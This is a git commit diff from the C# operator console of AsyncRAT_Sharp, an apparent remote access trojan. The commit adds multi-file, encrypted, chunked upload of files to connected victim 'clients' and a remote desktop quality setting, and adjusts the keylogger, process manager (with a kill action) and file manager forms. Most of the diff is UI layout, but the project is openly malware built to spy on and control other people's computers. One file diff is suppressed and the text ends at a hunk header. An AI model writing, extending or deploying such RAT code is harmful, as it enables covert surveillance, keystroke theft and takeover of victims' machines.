Update
fixed filemanager - couldn't delete some files. added filemanager upload file form. added quality for remote desktop minor bugs fixed
This commit is contained in:
parent
d5d60c0cb9
commit
75d9d13dac
@ -116,7 +116,7 @@
|
|||||||
<Compile Include="Forms\FormDownloadFile.Designer.cs">
|
<Compile Include="Forms\FormDownloadFile.Designer.cs">
|
||||||
<DependentUpon>FormDownloadFile.cs</DependentUpon>
|
<DependentUpon>FormDownloadFile.cs</DependentUpon>
|
||||||
</Compile>
|
</Compile>
|
||||||
<Compile Include="Forms\HandleKeylogger.cs" />
|
<Compile Include="Handle Packet\HandleKeylogger.cs" />
|
||||||
<Compile Include="Handle Packet\HandleFileManager.cs" />
|
<Compile Include="Handle Packet\HandleFileManager.cs" />
|
||||||
<Compile Include="Handle Packet\HandleListView.cs" />
|
<Compile Include="Handle Packet\HandleListView.cs" />
|
||||||
<Compile Include="Handle Packet\HandleLogs.cs" />
|
<Compile Include="Handle Packet\HandleLogs.cs" />
|
||||||
@ -231,6 +231,8 @@
|
|||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
<ItemGroup>
|
<ItemGroup>
|
||||||
<Content Include="async_icon.ico" />
|
<Content Include="async_icon.ico" />
|
||||||
|
<None Include="Resources\arrow_up.png" />
|
||||||
|
<None Include="Resources\arrow_down.png" />
|
||||||
<None Include="Resources\stop %281%29.png" />
|
<None Include="Resources\stop %281%29.png" />
|
||||||
<None Include="Resources\play-button.png" />
|
<None Include="Resources\play-button.png" />
|
||||||
<None Include="Resources\info.png" />
|
<None Include="Resources\info.png" />
|
||||||
|
@ -34,7 +34,6 @@ namespace AsyncRAT_Sharp
|
|||||||
|
|
||||||
private Listener listener;
|
private Listener listener;
|
||||||
private bool trans;
|
private bool trans;
|
||||||
private static System.Threading.Timer tick;
|
|
||||||
|
|
||||||
private void CheckFiles()
|
private void CheckFiles()
|
||||||
{
|
{
|
||||||
@ -336,7 +335,7 @@ namespace AsyncRAT_Sharp
|
|||||||
{
|
{
|
||||||
MsgPack msgpack = new MsgPack();
|
MsgPack msgpack = new MsgPack();
|
||||||
msgpack.ForcePathObject("Packet").AsString = "remoteDesktop";
|
msgpack.ForcePathObject("Packet").AsString = "remoteDesktop";
|
||||||
msgpack.ForcePathObject("Option").AsString = "true";
|
msgpack.ForcePathObject("Quality").AsInteger = 60;
|
||||||
foreach (ListViewItem itm in listView1.SelectedItems)
|
foreach (ListViewItem itm in listView1.SelectedItems)
|
||||||
{
|
{
|
||||||
Clients client = (Clients)itm.Tag;
|
Clients client = (Clients)itm.Tag;
|
||||||
|
@ -78,7 +78,7 @@
|
|||||||
this.labelfile.TabIndex = 0;
|
this.labelfile.TabIndex = 0;
|
||||||
this.labelfile.Text = "..";
|
this.labelfile.Text = "..";
|
||||||
//
|
//
|
||||||
// DownloadFile
|
// FormDownloadFile
|
||||||
//
|
//
|
||||||
this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F);
|
this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F);
|
||||||
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
|
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
|
||||||
@ -90,7 +90,7 @@
|
|||||||
this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon")));
|
this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon")));
|
||||||
this.MaximizeBox = false;
|
this.MaximizeBox = false;
|
||||||
this.MinimizeBox = false;
|
this.MinimizeBox = false;
|
||||||
this.Name = "DownloadFile";
|
this.Name = "FormDownloadFile";
|
||||||
this.Text = "SocketDownload";
|
this.Text = "SocketDownload";
|
||||||
this.FormClosed += new System.Windows.Forms.FormClosedEventHandler(this.SocketDownload_FormClosed);
|
this.FormClosed += new System.Windows.Forms.FormClosedEventHandler(this.SocketDownload_FormClosed);
|
||||||
this.ResumeLayout(false);
|
this.ResumeLayout(false);
|
||||||
|
@ -9,6 +9,9 @@ using System.Text;
|
|||||||
using System.Threading.Tasks;
|
using System.Threading.Tasks;
|
||||||
using System.Windows.Forms;
|
using System.Windows.Forms;
|
||||||
using System.Threading;
|
using System.Threading;
|
||||||
|
using System.IO;
|
||||||
|
using System.Net.Sockets;
|
||||||
|
using Timer = System.Threading.Timer;
|
||||||
|
|
||||||
namespace AsyncRAT_Sharp.Forms
|
namespace AsyncRAT_Sharp.Forms
|
||||||
{
|
{
|
||||||
@ -22,6 +25,9 @@ namespace AsyncRAT_Sharp.Forms
|
|||||||
public Form1 F { get; set; }
|
public Form1 F { get; set; }
|
||||||
internal Clients C { get; set; }
|
internal Clients C { get; set; }
|
||||||
public long dSize = 0;
|
public long dSize = 0;
|
||||||
|
public bool isDownload = false;
|
||||||
|
private long BytesSent = 0;
|
||||||
|
private Timer Tick = null;
|
||||||
private async void timer1_Tick(object sender, EventArgs e)
|
private async void timer1_Tick(object sender, EventArgs e)
|
||||||
{
|
{
|
||||||
labelsize.Text = $"{Methods.BytesToString(dSize)} \\ {Methods.BytesToString(C.BytesRecevied)}";
|
labelsize.Text = $"{Methods.BytesToString(dSize)} \\ {Methods.BytesToString(C.BytesRecevied)}";
|
||||||
@ -32,13 +38,68 @@ namespace AsyncRAT_Sharp.Forms
|
|||||||
timer1.Stop();
|
timer1.Stop();
|
||||||
await Task.Delay(1500);
|
await Task.Delay(1500);
|
||||||
this.Close();
|
this.Close();
|
||||||
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
private void SocketDownload_FormClosed(object sender, FormClosedEventArgs e)
|
private void SocketDownload_FormClosed(object sender, FormClosedEventArgs e)
|
||||||
{
|
{
|
||||||
if (C != null) C.Disconnected();
|
if (isDownload)
|
||||||
|
if (C != null) C.Disconnected();
|
||||||
|
}
|
||||||
|
|
||||||
|
public void Send(object obj)
|
||||||
|
{
|
||||||
|
lock (C.SendSync)
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
byte[] msg = Settings.AES.Encrypt((byte[])obj);
|
||||||
|
byte[] buffersize = BitConverter.GetBytes(msg.Length);
|
||||||
|
C.ClientSocket.Poll(-1, SelectMode.SelectWrite);
|
||||||
|
Tick = new Timer(new TimerCallback(Timer3), null, 0, 1000);
|
||||||
|
C.ClientSocket.Send(buffersize);
|
||||||
|
int chunkSize = 50 * 1024;
|
||||||
|
byte[] chunk = new byte[chunkSize];
|
||||||
|
int SendPackage;
|
||||||
|
using (MemoryStream buffereReader = new MemoryStream(msg))
|
||||||
|
{
|
||||||
|
BinaryReader binaryReader = new BinaryReader(buffereReader);
|
||||||
|
int bytesToRead = (int)buffereReader.Length;
|
||||||
|
do
|
||||||
|
{
|
||||||
|
chunk = binaryReader.ReadBytes(chunkSize);
|
||||||
|
bytesToRead -= chunkSize;
|
||||||
|
SendPackage = C.ClientSocket.Send(chunk);
|
||||||
|
BytesSent += chunk.Length;
|
||||||
|
} while (bytesToRead > 0);
|
||||||
|
|
||||||
|
binaryReader.Close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch
|
||||||
|
{
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private void Timer3(object obj)
|
||||||
|
{
|
||||||
|
if (Program.form1.InvokeRequired)
|
||||||
|
{
|
||||||
|
Program.form1.BeginInvoke((MethodInvoker)(async () =>
|
||||||
|
{
|
||||||
|
labelsize.Text = $"{Methods.BytesToString(dSize)} \\ {Methods.BytesToString(BytesSent)}";
|
||||||
|
if (BytesSent > dSize)
|
||||||
|
{
|
||||||
|
labelsize.Text = "Downloaded";
|
||||||
|
labelsize.ForeColor = Color.Green;
|
||||||
|
timer1.Stop();
|
||||||
|
await Task.Delay(1500);
|
||||||
|
this.Close();
|
||||||
|
}
|
||||||
|
}));
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -65,7 +65,7 @@
|
|||||||
this.listView1.Location = new System.Drawing.Point(0, 1);
|
this.listView1.Location = new System.Drawing.Point(0, 1);
|
||||||
this.listView1.Name = "listView1";
|
this.listView1.Name = "listView1";
|
||||||
this.listView1.ShowItemToolTips = true;
|
this.listView1.ShowItemToolTips = true;
|
||||||
this.listView1.Size = new System.Drawing.Size(1166, 559);
|
this.listView1.Size = new System.Drawing.Size(979, 427);
|
||||||
this.listView1.SmallImageList = this.imageList1;
|
this.listView1.SmallImageList = this.imageList1;
|
||||||
this.listView1.TabIndex = 0;
|
this.listView1.TabIndex = 0;
|
||||||
this.listView1.UseCompatibleStateImageBehavior = false;
|
this.listView1.UseCompatibleStateImageBehavior = false;
|
||||||
@ -147,9 +147,9 @@
|
|||||||
this.statusStrip1.Items.AddRange(new System.Windows.Forms.ToolStripItem[] {
|
this.statusStrip1.Items.AddRange(new System.Windows.Forms.ToolStripItem[] {
|
||||||
this.toolStripStatusLabel1,
|
this.toolStripStatusLabel1,
|
||||||
this.toolStripStatusLabel2});
|
this.toolStripStatusLabel2});
|
||||||
this.statusStrip1.Location = new System.Drawing.Point(0, 563);
|
this.statusStrip1.Location = new System.Drawing.Point(0, 431);
|
||||||
this.statusStrip1.Name = "statusStrip1";
|
this.statusStrip1.Name = "statusStrip1";
|
||||||
this.statusStrip1.Size = new System.Drawing.Size(1166, 30);
|
this.statusStrip1.Size = new System.Drawing.Size(979, 30);
|
||||||
this.statusStrip1.TabIndex = 2;
|
this.statusStrip1.TabIndex = 2;
|
||||||
this.statusStrip1.Text = "statusStrip1";
|
this.statusStrip1.Text = "statusStrip1";
|
||||||
//
|
//
|
||||||
@ -171,15 +171,15 @@
|
|||||||
this.timer1.Interval = 1000;
|
this.timer1.Interval = 1000;
|
||||||
this.timer1.Tick += new System.EventHandler(this.Timer1_Tick);
|
this.timer1.Tick += new System.EventHandler(this.Timer1_Tick);
|
||||||
//
|
//
|
||||||
// FileManager
|
// FormFileManager
|
||||||
//
|
//
|
||||||
this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F);
|
this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F);
|
||||||
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
|
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
|
||||||
this.ClientSize = new System.Drawing.Size(1166, 593);
|
this.ClientSize = new System.Drawing.Size(979, 461);
|
||||||
this.Controls.Add(this.statusStrip1);
|
this.Controls.Add(this.statusStrip1);
|
||||||
this.Controls.Add(this.listView1);
|
this.Controls.Add(this.listView1);
|
||||||
this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon")));
|
this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon")));
|
||||||
this.Name = "FileManager";
|
this.Name = "FormFileManager";
|
||||||
this.Text = "FileManager";
|
this.Text = "FileManager";
|
||||||
this.contextMenuStrip1.ResumeLayout(false);
|
this.contextMenuStrip1.ResumeLayout(false);
|
||||||
this.statusStrip1.ResumeLayout(false);
|
this.statusStrip1.ResumeLayout(false);
|
||||||
|
@ -93,6 +93,7 @@ namespace AsyncRAT_Sharp.Forms
|
|||||||
Text = "socketDownload:" + C.ID,
|
Text = "socketDownload:" + C.ID,
|
||||||
F = F
|
F = F
|
||||||
};
|
};
|
||||||
|
SD.isDownload = true;
|
||||||
SD.Show();
|
SD.Show();
|
||||||
}
|
}
|
||||||
}));
|
}));
|
||||||
@ -110,14 +111,32 @@ namespace AsyncRAT_Sharp.Forms
|
|||||||
try
|
try
|
||||||
{
|
{
|
||||||
OpenFileDialog O = new OpenFileDialog();
|
OpenFileDialog O = new OpenFileDialog();
|
||||||
|
O.Multiselect = true;
|
||||||
if (O.ShowDialog() == DialogResult.OK)
|
if (O.ShowDialog() == DialogResult.OK)
|
||||||
{
|
{
|
||||||
MsgPack msgpack = new MsgPack();
|
foreach(string ofile in O.FileNames)
|
||||||
msgpack.ForcePathObject("Packet").AsString = "fileManager";
|
{
|
||||||
msgpack.ForcePathObject("Command").AsString = "uploadFile";
|
FormDownloadFile SD = (FormDownloadFile)Application.OpenForms["socketDownload:" + ""];
|
||||||
await msgpack.ForcePathObject("File").LoadFileAsBytes(O.FileName);
|
if (SD == null)
|
||||||
msgpack.ForcePathObject("Name").AsString = toolStripStatusLabel1.Text + "\\" + Path.GetFileName(O.FileName);
|
{
|
||||||
ThreadPool.QueueUserWorkItem(C.BeginSend, msgpack.Encode2Bytes());
|
SD = new FormDownloadFile
|
||||||
|
{
|
||||||
|
Name = "socketUpload:" + "",
|
||||||
|
Text = "socketUpload:" + C.ID,
|
||||||
|
F = Program.form1,
|
||||||
|
C = C
|
||||||
|
};
|
||||||
|
SD.dSize = new FileInfo(ofile).Length;
|
||||||
|
SD.labelfile.Text = Path.GetFileName(ofile);
|
||||||
|
MsgPack msgpack = new MsgPack();
|
||||||
|
msgpack.ForcePathObject("Packet").AsString = "fileManager";
|
||||||
|
msgpack.ForcePathObject("Command").AsString = "uploadFile";
|
||||||
|
await msgpack.ForcePathObject("File").LoadFileAsBytes(ofile);
|
||||||
|
msgpack.ForcePathObject("Name").AsString = toolStripStatusLabel1.Text + "\\" + Path.GetFileName(ofile);
|
||||||
|
SD.Show();
|
||||||
|
ThreadPool.QueueUserWorkItem(SD.Send, msgpack.Encode2Bytes());
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
catch { }
|
catch { }
|
||||||
|
File diff suppressed because it is too large
Load Diff
@ -43,7 +43,7 @@
|
|||||||
this.richTextBox1.Name = "richTextBox1";
|
this.richTextBox1.Name = "richTextBox1";
|
||||||
this.richTextBox1.ReadOnly = true;
|
this.richTextBox1.ReadOnly = true;
|
||||||
this.richTextBox1.ShortcutsEnabled = false;
|
this.richTextBox1.ShortcutsEnabled = false;
|
||||||
this.richTextBox1.Size = new System.Drawing.Size(800, 450);
|
this.richTextBox1.Size = new System.Drawing.Size(731, 410);
|
||||||
this.richTextBox1.TabIndex = 0;
|
this.richTextBox1.TabIndex = 0;
|
||||||
this.richTextBox1.Text = "";
|
this.richTextBox1.Text = "";
|
||||||
//
|
//
|
||||||
@ -53,14 +53,14 @@
|
|||||||
this.timer1.Interval = 1000;
|
this.timer1.Interval = 1000;
|
||||||
this.timer1.Tick += new System.EventHandler(this.Timer1_Tick);
|
this.timer1.Tick += new System.EventHandler(this.Timer1_Tick);
|
||||||
//
|
//
|
||||||
// Keylogger
|
// FormKeylogger
|
||||||
//
|
//
|
||||||
this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F);
|
this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F);
|
||||||
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
|
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
|
||||||
this.ClientSize = new System.Drawing.Size(800, 450);
|
this.ClientSize = new System.Drawing.Size(731, 410);
|
||||||
this.Controls.Add(this.richTextBox1);
|
this.Controls.Add(this.richTextBox1);
|
||||||
this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon")));
|
this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon")));
|
||||||
this.Name = "Keylogger";
|
this.Name = "FormKeylogger";
|
||||||
this.Text = "Keylogger";
|
this.Text = "Keylogger";
|
||||||
this.FormClosed += new System.Windows.Forms.FormClosedEventHandler(this.Keylogger_FormClosed);
|
this.FormClosed += new System.Windows.Forms.FormClosedEventHandler(this.Keylogger_FormClosed);
|
||||||
this.ResumeLayout(false);
|
this.ResumeLayout(false);
|
||||||
|
@ -33,11 +33,11 @@
|
|||||||
this.listView1 = new System.Windows.Forms.ListView();
|
this.listView1 = new System.Windows.Forms.ListView();
|
||||||
this.lv_name = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
|
this.lv_name = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
|
||||||
this.lv_id = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
|
this.lv_id = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
|
||||||
this.imageList1 = new System.Windows.Forms.ImageList(this.components);
|
|
||||||
this.timer1 = new System.Windows.Forms.Timer(this.components);
|
|
||||||
this.contextMenuStrip1 = new System.Windows.Forms.ContextMenuStrip(this.components);
|
this.contextMenuStrip1 = new System.Windows.Forms.ContextMenuStrip(this.components);
|
||||||
this.killToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
this.killToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
||||||
this.refreshToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
this.refreshToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
||||||
|
this.imageList1 = new System.Windows.Forms.ImageList(this.components);
|
||||||
|
this.timer1 = new System.Windows.Forms.Timer(this.components);
|
||||||
this.contextMenuStrip1.SuspendLayout();
|
this.contextMenuStrip1.SuspendLayout();
|
||||||
this.SuspendLayout();
|
this.SuspendLayout();
|
||||||
//
|
//
|
||||||
@ -56,7 +56,7 @@
|
|||||||
this.listView1.Name = "listView1";
|
this.listView1.Name = "listView1";
|
||||||
this.listView1.ShowGroups = false;
|
this.listView1.ShowGroups = false;
|
||||||
this.listView1.ShowItemToolTips = true;
|
this.listView1.ShowItemToolTips = true;
|
||||||
this.listView1.Size = new System.Drawing.Size(659, 719);
|
this.listView1.Size = new System.Drawing.Size(557, 577);
|
||||||
this.listView1.SmallImageList = this.imageList1;
|
this.listView1.SmallImageList = this.imageList1;
|
||||||
this.listView1.Sorting = System.Windows.Forms.SortOrder.Ascending;
|
this.listView1.Sorting = System.Windows.Forms.SortOrder.Ascending;
|
||||||
this.listView1.TabIndex = 0;
|
this.listView1.TabIndex = 0;
|
||||||
@ -73,6 +73,29 @@
|
|||||||
this.lv_id.Text = "ID";
|
this.lv_id.Text = "ID";
|
||||||
this.lv_id.Width = 150;
|
this.lv_id.Width = 150;
|
||||||
//
|
//
|
||||||
|
// contextMenuStrip1
|
||||||
|
//
|
||||||
|
this.contextMenuStrip1.ImageScalingSize = new System.Drawing.Size(24, 24);
|
||||||
|
this.contextMenuStrip1.Items.AddRange(new System.Windows.Forms.ToolStripItem[] {
|
||||||
|
this.killToolStripMenuItem,
|
||||||
|
this.refreshToolStripMenuItem});
|
||||||
|
this.contextMenuStrip1.Name = "contextMenuStrip1";
|
||||||
|
this.contextMenuStrip1.Size = new System.Drawing.Size(144, 64);
|
||||||
|
//
|
||||||
|
// killToolStripMenuItem
|
||||||
|
//
|
||||||
|
this.killToolStripMenuItem.Name = "killToolStripMenuItem";
|
||||||
|
this.killToolStripMenuItem.Size = new System.Drawing.Size(143, 30);
|
||||||
|
this.killToolStripMenuItem.Text = "Kill";
|
||||||
|
this.killToolStripMenuItem.Click += new System.EventHandler(this.killToolStripMenuItem_Click);
|
||||||
|
//
|
||||||
|
// refreshToolStripMenuItem
|
||||||
|
//
|
||||||
|
this.refreshToolStripMenuItem.Name = "refreshToolStripMenuItem";
|
||||||
|
this.refreshToolStripMenuItem.Size = new System.Drawing.Size(143, 30);
|
||||||
|
this.refreshToolStripMenuItem.Text = "Refresh";
|
||||||
|
this.refreshToolStripMenuItem.Click += new System.EventHandler(this.refreshToolStripMenuItem_Click);
|
||||||
|
//
|
||||||
// imageList1
|
// imageList1
|
||||||
//
|
//
|
||||||
this.imageList1.ColorDepth = System.Windows.Forms.ColorDepth.Depth32Bit;
|
this.imageList1.ColorDepth = System.Windows.Forms.ColorDepth.Depth32Bit;
|
||||||
@ -85,37 +108,14 @@
|
|||||||
this.timer1.Interval = 1000;
|
this.timer1.Interval = 1000;
|
||||||
this.timer1.Tick += new System.EventHandler(this.timer1_Tick);
|
this.timer1.Tick += new System.EventHandler(this.timer1_Tick);
|
||||||
//
|
//
|
||||||
// contextMenuStrip1
|
// FormProcessManager
|
||||||
//
|
|
||||||
this.contextMenuStrip1.ImageScalingSize = new System.Drawing.Size(24, 24);
|
|
||||||
this.contextMenuStrip1.Items.AddRange(new System.Windows.Forms.ToolStripItem[] {
|
|
||||||
this.killToolStripMenuItem,
|
|
||||||
this.refreshToolStripMenuItem});
|
|
||||||
this.contextMenuStrip1.Name = "contextMenuStrip1";
|
|
||||||
this.contextMenuStrip1.Size = new System.Drawing.Size(241, 97);
|
|
||||||
//
|
|
||||||
// killToolStripMenuItem
|
|
||||||
//
|
|
||||||
this.killToolStripMenuItem.Name = "killToolStripMenuItem";
|
|
||||||
this.killToolStripMenuItem.Size = new System.Drawing.Size(240, 30);
|
|
||||||
this.killToolStripMenuItem.Text = "Kill";
|
|
||||||
this.killToolStripMenuItem.Click += new System.EventHandler(this.killToolStripMenuItem_Click);
|
|
||||||
//
|
|
||||||
// refreshToolStripMenuItem
|
|
||||||
//
|
|
||||||
this.refreshToolStripMenuItem.Name = "refreshToolStripMenuItem";
|
|
||||||
this.refreshToolStripMenuItem.Size = new System.Drawing.Size(240, 30);
|
|
||||||
this.refreshToolStripMenuItem.Text = "Refresh";
|
|
||||||
this.refreshToolStripMenuItem.Click += new System.EventHandler(this.refreshToolStripMenuItem_Click);
|
|
||||||
//
|
|
||||||
// ProcessManager
|
|
||||||
//
|
//
|
||||||
this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F);
|
this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F);
|
||||||
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
|
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
|
||||||
this.ClientSize = new System.Drawing.Size(659, 719);
|
this.ClientSize = new System.Drawing.Size(557, 577);
|
||||||
this.Controls.Add(this.listView1);
|
this.Controls.Add(this.listView1);
|
||||||
this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon")));
|
this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon")));
|
||||||
this.Name = "ProcessManager";
|
this.Name = "FormProcessManager";
|
||||||
this.Text = "ProcessManager";
|
this.Text = "ProcessManager";
|
||||||
this.contextMenuStrip1.ResumeLayout(false);
|
this.contextMenuStrip1.ResumeLayout(false);
|
||||||
this.ResumeLayout(false);
|
this.ResumeLayout(false);
|
||||||
|
@ -32,7 +32,14 @@
|
|||||||
System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FormRemoteDesktop));
|
System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FormRemoteDesktop));
|
||||||
this.pictureBox1 = new System.Windows.Forms.PictureBox();
|
this.pictureBox1 = new System.Windows.Forms.PictureBox();
|
||||||
this.timer1 = new System.Windows.Forms.Timer(this.components);
|
this.timer1 = new System.Windows.Forms.Timer(this.components);
|
||||||
|
this.panel1 = new System.Windows.Forms.Panel();
|
||||||
|
this.label1 = new System.Windows.Forms.Label();
|
||||||
|
this.numericUpDown1 = new System.Windows.Forms.NumericUpDown();
|
||||||
|
this.button1 = new System.Windows.Forms.Button();
|
||||||
|
this.button2 = new System.Windows.Forms.Button();
|
||||||
((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).BeginInit();
|
((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).BeginInit();
|
||||||
|
this.panel1.SuspendLayout();
|
||||||
|
((System.ComponentModel.ISupportInitialize)(this.numericUpDown1)).BeginInit();
|
||||||
this.SuspendLayout();
|
this.SuspendLayout();
|
||||||
//
|
//
|
||||||
// pictureBox1
|
// pictureBox1
|
||||||
@ -40,7 +47,7 @@
|
|||||||
this.pictureBox1.Dock = System.Windows.Forms.DockStyle.Fill;
|
this.pictureBox1.Dock = System.Windows.Forms.DockStyle.Fill;
|
||||||
this.pictureBox1.Location = new System.Drawing.Point(0, 0);
|
this.pictureBox1.Location = new System.Drawing.Point(0, 0);
|
||||||
this.pictureBox1.Name = "pictureBox1";
|
this.pictureBox1.Name = "pictureBox1";
|
||||||
this.pictureBox1.Size = new System.Drawing.Size(938, 485);
|
this.pictureBox1.Size = new System.Drawing.Size(710, 399);
|
||||||
this.pictureBox1.SizeMode = System.Windows.Forms.PictureBoxSizeMode.StretchImage;
|
this.pictureBox1.SizeMode = System.Windows.Forms.PictureBoxSizeMode.StretchImage;
|
||||||
this.pictureBox1.TabIndex = 0;
|
this.pictureBox1.TabIndex = 0;
|
||||||
this.pictureBox1.TabStop = false;
|
this.pictureBox1.TabStop = false;
|
||||||
@ -50,16 +57,94 @@
|
|||||||
this.timer1.Interval = 2000;
|
this.timer1.Interval = 2000;
|
||||||
this.timer1.Tick += new System.EventHandler(this.timer1_Tick);
|
this.timer1.Tick += new System.EventHandler(this.timer1_Tick);
|
||||||
//
|
//
|
||||||
|
// panel1
|
||||||
|
//
|
||||||
|
this.panel1.BackColor = System.Drawing.Color.Transparent;
|
||||||
|
this.panel1.Controls.Add(this.label1);
|
||||||
|
this.panel1.Controls.Add(this.numericUpDown1);
|
||||||
|
this.panel1.Controls.Add(this.button1);
|
||||||
|
this.panel1.Dock = System.Windows.Forms.DockStyle.Top;
|
||||||
|
this.panel1.Location = new System.Drawing.Point(0, 0);
|
||||||
|
this.panel1.Name = "panel1";
|
||||||
|
this.panel1.Size = new System.Drawing.Size(710, 38);
|
||||||
|
this.panel1.TabIndex = 1;
|
||||||
|
//
|
||||||
|
// label1
|
||||||
|
//
|
||||||
|
this.label1.AutoSize = true;
|
||||||
|
this.label1.Location = new System.Drawing.Point(130, 8);
|
||||||
|
this.label1.Name = "label1";
|
||||||
|
this.label1.Size = new System.Drawing.Size(78, 20);
|
||||||
|
this.label1.TabIndex = 2;
|
||||||
|
this.label1.Text = "QUALITY";
|
||||||
|
//
|
||||||
|
// numericUpDown1
|
||||||
|
//
|
||||||
|
this.numericUpDown1.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle;
|
||||||
|
this.numericUpDown1.Enabled = false;
|
||||||
|
this.numericUpDown1.Increment = new decimal(new int[] {
|
||||||
|
10,
|
||||||
|
0,
|
||||||
|
0,
|
||||||
|
0});
|
||||||
|
this.numericUpDown1.Location = new System.Drawing.Point(214, 7);
|
||||||
|
this.numericUpDown1.Minimum = new decimal(new int[] {
|
||||||
|
20,
|
||||||
|
0,
|
||||||
|
0,
|
||||||
|
0});
|
||||||
|
this.numericUpDown1.Name = "numericUpDown1";
|
||||||
|
this.numericUpDown1.Size = new System.Drawing.Size(82, 26);
|
||||||
|
this.numericUpDown1.TabIndex = 1;
|
||||||
|
this.numericUpDown1.TextAlign = System.Windows.Forms.HorizontalAlignment.Center;
|
||||||
|
this.numericUpDown1.UpDownAlign = System.Windows.Forms.LeftRightAlignment.Left;
|
||||||
|
this.numericUpDown1.Value = new decimal(new int[] {
|
||||||
|
60,
|
||||||
|
0,
|
||||||
|
0,
|
||||||
|
0});
|
||||||
|
//
|
||||||
|
// button1
|
||||||
|
//
|
||||||
|
this.button1.Location = new System.Drawing.Point(6, 4);
|
||||||
|
this.button1.Name = "button1";
|
||||||
|
this.button1.Size = new System.Drawing.Size(107, 29);
|
||||||
|
this.button1.TabIndex = 0;
|
||||||
|
this.button1.Text = "STOP";
|
||||||
|
this.button1.UseVisualStyleBackColor = true;
|
||||||
|
this.button1.Click += new System.EventHandler(this.Button1_Click);
|
||||||
|
//
|
||||||
|
// button2
|
||||||
|
//
|
||||||
|
this.button2.BackgroundImage = global::AsyncRAT_Sharp.Properties.Resources.arrow_up;
|
||||||
|
this.button2.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch;
|
||||||
|
this.button2.FlatStyle = System.Windows.Forms.FlatStyle.Flat;
|
||||||
|
this.button2.Location = new System.Drawing.Point(304, 44);
|
||||||
|
this.button2.Name = "button2";
|
||||||
|
this.button2.Size = new System.Drawing.Size(18, 18);
|
||||||
|
this.button2.TabIndex = 2;
|
||||||
|
this.button2.Text = " ";
|
||||||
|
this.button2.UseVisualStyleBackColor = true;
|
||||||
|
this.button2.Click += new System.EventHandler(this.Button2_Click);
|
||||||
|
//
|
||||||
// FormRemoteDesktop
|
// FormRemoteDesktop
|
||||||
//
|
//
|
||||||
this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F);
|
this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F);
|
||||||
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
|
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
|
||||||
this.ClientSize = new System.Drawing.Size(938, 485);
|
this.ClientSize = new System.Drawing.Size(710, 399);
|
||||||
|
this.Controls.Add(this.button2);
|
||||||
|
this.Controls.Add(this.panel1);
|
||||||
this.Controls.Add(this.pictureBox1);
|
this.Controls.Add(this.pictureBox1);
|
||||||
this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon")));
|
this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon")));
|
||||||
|
this.MinimumSize = new System.Drawing.Size(658, 448);
|
||||||
this.Name = "FormRemoteDesktop";
|
this.Name = "FormRemoteDesktop";
|
||||||
this.Text = "RemoteDesktop";
|
this.Text = "RemoteDesktop";
|
||||||
|
this.Load += new System.EventHandler(this.FormRemoteDesktop_Load);
|
||||||
|
this.ResizeEnd += new System.EventHandler(this.FormRemoteDesktop_ResizeEnd);
|
||||||
((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).EndInit();
|
((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).EndInit();
|
||||||
|
this.panel1.ResumeLayout(false);
|
||||||
|
this.panel1.PerformLayout();
|
||||||
|
((System.ComponentModel.ISupportInitialize)(this.numericUpDown1)).EndInit();
|
||||||
this.ResumeLayout(false);
|
this.ResumeLayout(false);
|
||||||
|
|
||||||
}
|
}
|
||||||
@ -68,5 +153,10 @@
|
